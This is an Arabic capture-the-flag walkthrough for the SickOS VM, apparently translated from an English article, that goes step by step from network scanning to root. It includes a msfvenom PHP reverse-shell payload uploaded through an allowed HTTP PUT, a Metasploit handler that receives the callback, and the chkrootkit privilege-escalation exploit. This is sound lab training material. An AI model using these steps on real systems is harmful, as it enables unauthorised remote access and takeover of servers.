مقال : حل التحدي SickOS 2.1 VM من تحديات CTF
في هذا الشرح سوف اشرح كيفية حل تحدي SickOS 1.2 . هذا هو الثاني في السلسلة المتتالية من SickOs وهي مستقلة عن الإصدارات السابقة, مجال التحدي هو الحصول على اعلى الصلاحيات التابعة للنظام. هذا CTF يعطي تشبيه واضح عن كيف ان إستراتيجيات الإختراق تنفذ على الشبكة للحد منها في بيئة أمنة.
اولا قم بتحميل SickOS من هنا
لنقم الان بإيجاد هدفنا بإستخدام
netdiscover
هدفنا هو 192.168.1.105 إضافة لذلك سوف ننفذ nmap :
nmap -A -p- 192.168.1.105
وكما ترى بان البورت 80 مفتوح وهذا يعني بانه بامكاننا فتح هذا ip في المتصفح. لماذا لانقم بهذا؟
بعد وضع ip في المتصفح سوف يظهر لنا هذه الصورة التي في الأعلى والتي ليس لديها هدف.يكنك المحاولة ورؤية مصدر الصفحة لكن للأسف لن تجد شيئا. لهذا السبب سوف نستخدم dirb لإيجاد المسارات :
dirb http://192.168.1.105
وعند رؤيتك للنتيجة سوف نجد مسارنا, مثال: test إفتحها في المتصفح ايضا.
192.168.1.105/test/
سوف يظهر لك قائمة المسارات. لنحاول ونستكشف مسار test بواسطة curl.
curl -v -X OPTIONS http://192.168.1.105/test
هذا الإستكشاف سوف يظهر لك بأن PUT مسموح بها وهذا يعني بأنك تستطيع الرفع عبرها.
اذا قم بتحضير الملف الخبيث الذي تريد رفعه بإستخدام msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.113 lport=4444 -f raw
اسنخ الكود من php?> الى ()die وأحفظه في الملف بلاحقة php.
الان لرفع ملفك (ملف php.) سنستخدم أضافة المسماة poster.
انقر على tools من شريط menu. وبعدها إنقر على poster من القائمة المنسدلة.
الصندوق التالي سوف يفتح. هنا, تصفح الملف الذي تريد ان ترفعه وانقر على خيار PUT
سوف بظهر لك بان الملف تم رفعه
ويمكنك ان ترى نفس الشئ على متصفحك بان الملف سوف يتم رفعه(وفي حالتنا, الملف هو shell.php)
بنفس الوقت,قم بفتح metasploit وإستخدم multi/handler :
use multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.1.113 set lport 4444 exploit
وبعد النقر على زر enter على لوحة المفاتح, قم بتشغيل الملف. سوف يعطيك جلسة meterpreter.
إذهب الى الشيل واكتب :
shell
والأن نحتاج لإستيراد ملف البايثون للوصول الى الterminal ولذلك سوف نكتب التالي :
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py
الان نقوم بالتحقق من نسخة kernal التي يمكن ان نستغلها :
lsb_release -a
وكما ترى بان النسخة غير مستغلة لذلك سوف نتركها لحالها.
وبالإنتقال الى الامر التالي لإستكشاف المزيد وإيجاد شئ ما لإستغلاله:
ls -l /etc/cron.daily
الأمر الموجود في الأعلى سوف يعطيك قائمة الملفات. بعد المراقبة سوف تجد chkrootkit. البعض من نسخته يمكن ان يستغل وبالتالي سوف نتحقق من نسخته:
chkrootkit -V
سوف يظهر لك النسخة وهي 0.49 .
سوف نبحث الان عن أستغلال في terminal لنظام كالي بكتابة :
searchsploit chkrootkit
الان افتح metasploit وتحقق من الجلسة المفتوحة مسبقا وبعدها ابحث عن الإستغلال بكتابة :
search chkrootkit
وسوف يظهر الإستغلال الذي يجب عليك إستخدامه.
وبعدها اكتب options لمعرفة الخيارات المفروض ان تضعها. التحقق من الخيارات التي تعرفها تستوجب منك تعيين الجلسة و lport ولهذا اكتب:
use exploit/unix/local/chkrootkit set session 1 set lport 8080 exploit
الان تحقق من حصولك على جلسة اخرى او لا ولهذا اكتب :
sessions
ويمكنك بالتاكيد روؤية بانك حصلت على جلسة اخرى ولفتحها اكتب :
sessions -i 2
وبفتحك للجلسة قم بالتحقق من اي مستخدم انت مسجل ولتتحق اكتب :
whoami
سوف تظهر لك بانك داخل الرووت وللمزيد اكتب:
cd /root
ولرؤية قائمة الملفات في الرووت:
ls -lsa
في هذه القائمة سوف ترى وجود ملف نصي ولقراءته :
cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt
ترجمة مقال : (Hack the SickOS 2.1 VM (CTF Challenge